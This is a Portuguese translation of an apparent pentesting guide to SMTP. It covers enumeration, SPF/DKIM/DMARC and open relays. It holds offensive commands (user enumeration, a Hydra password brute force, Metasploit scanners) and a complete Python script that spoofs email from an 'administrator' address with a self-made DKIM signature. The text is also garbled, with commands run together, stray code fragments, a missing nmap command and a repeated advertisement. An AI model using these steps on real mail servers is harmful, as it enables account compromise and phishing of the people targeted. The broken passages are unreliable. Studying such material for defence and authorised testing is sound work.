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Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de invasão. Execute um teste de invasão completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até o relatório. Não substituímos testadores de invasão - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
O Protocolo de Transferência de Correio Simples (SMTP) é um protocolo utilizado dentro da suíte TCP/IP para o envio e recebimento de e-mails. Devido às suas limitações na fila de mensagens no final do destinatário, o SMTP é frequentemente utilizado juntamente com POP3 ou IMAP. Esses protocolos adicionais permitem aos usuários armazenar mensagens em uma caixa de correio do servidor e baixá-las periodicamente.
Na prática, é comum que programas de e-mail usem SMTP para enviar e-mails, enquanto utilizam POP3 ou IMAP para recebê-los. Em sistemas baseados em Unix, o sendmail se destaca como o servidor SMTP mais frequentemente usado para fins de e-mail. O pacote comercial conhecido como Sendmail engloba um servidor POP3. Além disso, o Microsoft Exchange fornece um servidor SMTP e oferece a opção de incluir suporte POP3.
Porta padrão: 25,465(ssl),587(ssl)
PORT STATE SERVICE REASON VERSION
25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
Cabeçalhos de EMAIL
Se tiver a oportunidade de fazer a vítima enviar-lhe um email (através do formulário de contato da página web, por exemplo), faça-o porque poderá aprender sobre a topologia interna da vítima ao ver os cabeçalhos do email.
Também pode obter um email de um servidor SMTP tentando enviar para esse servidor um email para um endereço inexistente (porque o servidor enviará ao atacante um email NDN). No entanto, certifique-se de enviar o email a partir de um endereço permitido (verifique a política SPF) e de que pode receber mensagens NDN.
Deve também tentar enviar conteúdos diferentes porque pode encontrar informações mais interessantes nos cabeçalhos como: X-Virus-Scanned: by av.domain.com
Deve enviar o arquivo de teste EICAR.
Detectar o AV pode permitir-lhe explorar vulnerabilidades conhecidas.
Ações Básicas
Obtenção de Banner/Conexão Básica
SMTP:
nc-vn<IP>25
SMTPS:
openssls_client-crlf-connectsmtp.mailgun.org:465#SSL/TLS without starttls commandopenssls_client-starttlssmtp-crlf-connectsmtp.mailgun.org:587
Ou automatize isso com o plugin nmapsmtp-ntlm-info.nse
Nome do servidor interno - Divulgação de informações
Alguns servidores SMTP completam automaticamente o endereço do remetente quando o comando "MAIL FROM" é emitido sem um endereço completo, divulgando seu nome interno:
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
Sniffing
Verifique se você consegue capturar alguma senha dos pacotes para a porta 25
O comando VRFY é usado para verificar se um usuário específico existe em um servidor SMTP. Esse comando pode ser explorado por atacantes para obter informações sobre usuários válidos no sistema alvo. Em muitos servidores SMTP modernos, o comando VRFY está desativado por padrão devido a preocupações com segurança.
O comando EXPN é usado para expandir uma lista de endereços de e-mail de uma lista de discussão. Isso pode ser útil para um atacante obter uma lista de endereços de e-mail válidos em um servidor SMTP.
Configuração instantânea disponível para avaliação de vulnerabilidades e teste de penetração. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
Relatórios de Notificação de Status de Entrega: Se você enviar um e-mail para uma organização com um endereço inválido, a organização notificará que o endereço foi invalidado enviando um e-mail de volta para você. Os cabeçalhos do e-mail retornado irão conter possíveis informações sensíveis (como endereço IP dos serviços de e-mail que interagiram com os relatórios ou informações sobre software antivírus).
print("[***]successfully sent email to %s:" % (msg['To']))
</details>
## Contrabando SMTP
A vulnerabilidade de Contrabando SMTP permitia contornar todas as proteções SMTP (ver a próxima seção para mais informações sobre proteções). Para mais informações sobre Contrabando SMTP, consulte:
<div data-gb-custom-block data-tag="content-ref" data-url='smtp-smuggling.md'>
[smtp-smuggling.md](smtp-smuggling.md)
</div>
## Contramedidas de Spoofing de E-mail
As organizações são impedidas de ter e-mails não autorizados enviados em seu nome ao empregar **SPF**, **DKIM** e **DMARC** devido à facilidade de falsificação de mensagens SMTP.
Um **guia completo sobre essas contramedidas** está disponível em [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).
### SPF
<div data-gb-custom-block data-tag="hint" data-style='danger'>
O SPF [foi "descontinuado" em 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Isso significa que, em vez de criar um registro **TXT** em `_spf.domain.com`, você o cria em `domain.com` usando a **mesma sintaxe**.\
Além disso, para reutilizar registros SPF anteriores, é bastante comum encontrar algo como `"v=spf1 include:_spf.google.com ~all"`
</div>
**Sender Policy Framework** (SPF) é um mecanismo que permite aos Agentes de Transferência de E-mail (MTAs) verificar se um host que envia um e-mail está autorizado consultando uma lista de servidores de e-mail autorizados definidos pelas organizações. Esta lista, que especifica endereços IP/faixas, domínios e outras entidades **autorizadas a enviar e-mails em nome de um nome de domínio**, inclui vários "**Mecanismos**" no registro SPF.
#### Mecanismos
De [Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework):
| Mecanismo | Descrição |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL | Sempre corresponde; usado para um resultado padrão como `-all` para todos os IPs não correspondidos pelos mecanismos anteriores. |
| A | Se o nome de domínio tiver um registro de endereço (A ou AAAA) que possa ser resolvido para o endereço do remetente, corresponderá. |
| IP4 | Se o remetente estiver em uma determinada faixa de endereços IPv4, corresponderá. |
| IP6 | Se o remetente estiver em uma determinada faixa de endereços IPv6, corresponderá. |
| MX | Se o nome de domínio tiver um registro MX que resolva para o endereço do remetente, corresponderá (ou seja, o e-mail vem de um dos servidores de e-mail de entrada do domínio). |
| PTR | Se o nome de domínio (registro PTR) para o endereço do cliente estiver no domínio fornecido e esse nome de domínio resolver para o endereço do cliente (DNS reverso confirmado para frente), corresponderá. Esse mecanismo é desencorajado e deve ser evitado, se possível. |
| EXISTS | Se o nome de domínio fornecido resolver para qualquer endereço, corresponderá (não importa o endereço para o qual ele resolva). Isso é raramente usado. Juntamente com a linguagem macro SPF, oferece correspondências mais complexas, como consultas DNSBL. |
| INCLUDE | Faz referência à política de outro domínio. Se a política desse domínio passar, este mecanismo passará. No entanto, se a política incluída falhar, o processamento continuará. Para delegar totalmente para a política de outro domínio, a extensão de redirecionamento deve ser usada. |
| REDIRECT | <p>Um redirecionamento é um apontador para outro nome de domínio que hospeda uma política SPF, permitindo que vários domínios compartilhem a mesma política SPF. É útil ao trabalhar com uma grande quantidade de domínios que compartilham a mesma infraestrutura de e-mail.</p><p>A política SPF do domínio indicado no Mecanismo de redirecionamento será usada.</p> |
Também é possível identificar **Qualificadores** que indicam **o que deve ser feito se um mecanismo for correspondido**. Por padrão, o **qualificador "+"** é usado (então se algum mecanismo for correspondido, isso significa que é permitido).\
Geralmente, você notará **no final de cada política SPF** algo como: **\~all** ou **-all**. Isso é usado para indicar que **se o remetente não corresponder a nenhuma política SPF, você deve marcar o e-mail como não confiável (\~) ou rejeitar (-) o e-mail.**
#### Qualificadores
Cada mecanismo dentro da política pode ser prefixado por um dos quatro qualificadores para definir o resultado pretendido:
* **`+`**: Corresponde a um resultado PASS. Por padrão, os mecanismos assumem este qualificador, tornando `+mx` equivalente a `mx`.
* **`?`**: Representa um resultado NEUTRO, tratado de forma semelhante a NENHUM (nenhuma política específica).
* **`~`**: Denota SOFTFAIL, servindo como um meio-termo entre NEUTRO e FALHA. E-mails que atendem a este resultado geralmente são aceitos, mas marcados de acordo.
* **`-`**: Indica FALHA, sugerindo que o e-mail deve ser rejeitado imediatamente.
No exemplo a seguir, a **política SPF do google.com** é ilustrada. Observe a inclusão de políticas SPF de diferentes domínios dentro da primeira política SPF:
```shell-session
dig txt google.com | grep spf
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com. IN TXT
_spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"
dig txt _netblocks.google.com | grep spf
_netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"
dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"
dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
Tradicionalmente era possível falsificar qualquer nome de domínio que não tivesse um registro SPF correto/qualquer. Hoje em dia, se um e-mail vem de um domínio sem um registro SPF válido, provavelmente será rejeitado/marcado como não confiável automaticamente.
O DKIM é utilizado para assinar e-mails de saída, permitindo sua validação por Agentes de Transferência de E-mail (MTAs) externos por meio da recuperação da chave pública do domínio no DNS. Esta chave pública está localizada em um registro TXT do domínio. Para acessar essa chave, é necessário conhecer tanto o seletor quanto o nome de domínio.
Por exemplo, para solicitar a chave, o nome de domínio e o seletor são essenciais. Estes podem ser encontrados no cabeçalho do e-mail DKIM-Signature, por exemplo, d=gmail.com;s=20120113.
Um comando para buscar estas informações pode se parecer com:
dig20120113._domainkey.gmail.comTXT|grepp=# This command would return something like:20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
O DMARC melhora a segurança de e-mails, baseando-se nos protocolos SPF e DKIM. Ele define políticas que orientam os servidores de e-mail no tratamento de e-mails de um domínio específico, incluindo como lidar com falhas de autenticação e para onde enviar relatórios sobre ações de processamento de e-mails.
Para obter o registro DMARC, você precisa consultar o subdomínio _dmarc
Deaqui.
Você precisa ter registros SPF separados para cada subdomínio do qual deseja enviar e-mails.
O seguinte foi originalmente postado em openspf.org, que costumava ser um ótimo recurso para esse tipo de coisa.
A Questão do Demônio: E quanto aos subdomínios?
Se eu receber um e-mail de pielovers.demon.co.uk e não houver dados SPF para pielovers, devo voltar um nível e testar o SPF para demon.co.uk? Não. Cada subdomínio no Demon é um cliente diferente, e cada cliente pode ter sua própria política. Não faria sentido a política do Demon se aplicar a todos os seus clientes por padrão; se o Demon quiser fazer isso, ele pode configurar registros SPF para cada subdomínio.
Portanto, o conselho para os publicadores de SPF é o seguinte: você deve adicionar um registro SPF para cada subdomínio ou nome de host que tenha um registro A ou MX.
Sites com registros A ou MX curinga também devem ter um registro SPF curinga, no formato: * IN TXT "v=spf1 -all"
Isso faz sentido - um subdomínio pode muito bem estar em uma localização geográfica diferente e ter uma definição SPF muito diferente.
Relé Aberto
Ao enviar e-mails, garantir que eles não sejam marcados como spam é crucial. Isso é frequentemente alcançado por meio de um servidor de retransmissão confiável pelo destinatário. No entanto, um desafio comum é que os administradores podem não estar totalmente cientes de quais intervalos de IP são seguros para permitir. Essa falta de compreensão pode levar a erros na configuração do servidor SMTP, um risco frequentemente identificado em avaliações de segurança.
Uma solução alternativa que alguns administradores usam para evitar problemas de entrega de e-mails, especialmente em comunicações com clientes potenciais ou em andamento, é permitir conexões de qualquer endereço IP. Isso é feito configurando o parâmetro mynetworks do servidor SMTP para aceitar todos os endereços IP, conforme mostrado abaixo:
mynetworks=0.0.0.0/0
Para verificar se um servidor de e-mail é um relay aberto (o que significa que poderia encaminhar e-mails de qualquer origem externa), a ferramenta nmap é comumente usada. Ela inclui um script específico projetado para testar isso. O comando para realizar uma varredura detalhada em um servidor (por exemplo, com o IP 10.10.10.10) na porta 25 usando o nmap é:
# This will send a test email from test@victim.com to destination@gmail.compython3magicspoofmail.py-dvictim.com-t-edestination@gmail.com# But you can also modify more options of the emailpython3magicspoofmail.py-dvictim.com-t-edestination@gmail.com--subjectTEST--senderadministrator@victim.com
Se você receber algum erro ao usar a biblioteca dkim python para analisar a chave, sinta-se à vontade para usar a seguinte.
NOTA: Esta é apenas uma correção rápida para fazer verificações rápidas em casos em que, por algum motivo, a chave privada do openssl não pode ser analisada pelo dkim.
# Isso enviará uma mensagem não assinadamail("seu_email@gmail.com", "Assunto de Teste!", "oi! Este é um teste", "De: administrador@vitima.com");# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.pyimport osimport dkim #pip3 install dkimpyimport smtplibfrom email.mime.multipart import MIMEMultipartfrom email.mime.text import MIMETextfrom email.mime.base import MIMEBase# Set paramsdestination="destination@gmail.com"sender="administrator@victim.com"subject="Test"message_html="""<html><body><h3>This is a test, not a scam</h3><br /></body></html>"""sender_domain=sender.split("@")[1]# Prepare postfixos.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")os.system("systemctl restart postfix")# Generate DKIM keysdkim_private_key_path="dkimprivatekey.pem"os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")with open(dkim_private_key_path) as fh:dkim_private_key = fh.read()# Generate emailmsg = MIMEMultipart("alternative")msg.attach(MIMEText(message_html, "html"))msg["To"] = destinationmsg["From"] = sendermsg["Subject"] = subjectheaders = [b"To", b"From", b"Subject"]msg_data = msg.as_bytes()# Sign email with dkim## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)dkim_selector="s1"sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()msg_data = msg.as_bytes()# Use local postfix relay to send emailsmtp="127.0.0.1"s = smtplib.SMTP(smtp)s.sendmail(sender, [destination], msg_data)
Normalmente, se instalado, em /etc/postfix/master.cf contém scripts para executar quando, por exemplo, um novo e-mail é recebido por um usuário. Por exemplo, a linha flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} significa que /etc/postfix/filtering será executado se um novo e-mail for recebido pelo usuário mark.
Protocol_Name: SMTP #Protocol Abbreviation if there is one.
Port_Number: 25,465,587 #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
https://book.hacktricks.xyz/pentesting/pentesting-smtp
Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25
Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}
Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}
Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587
Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}
Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V
Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
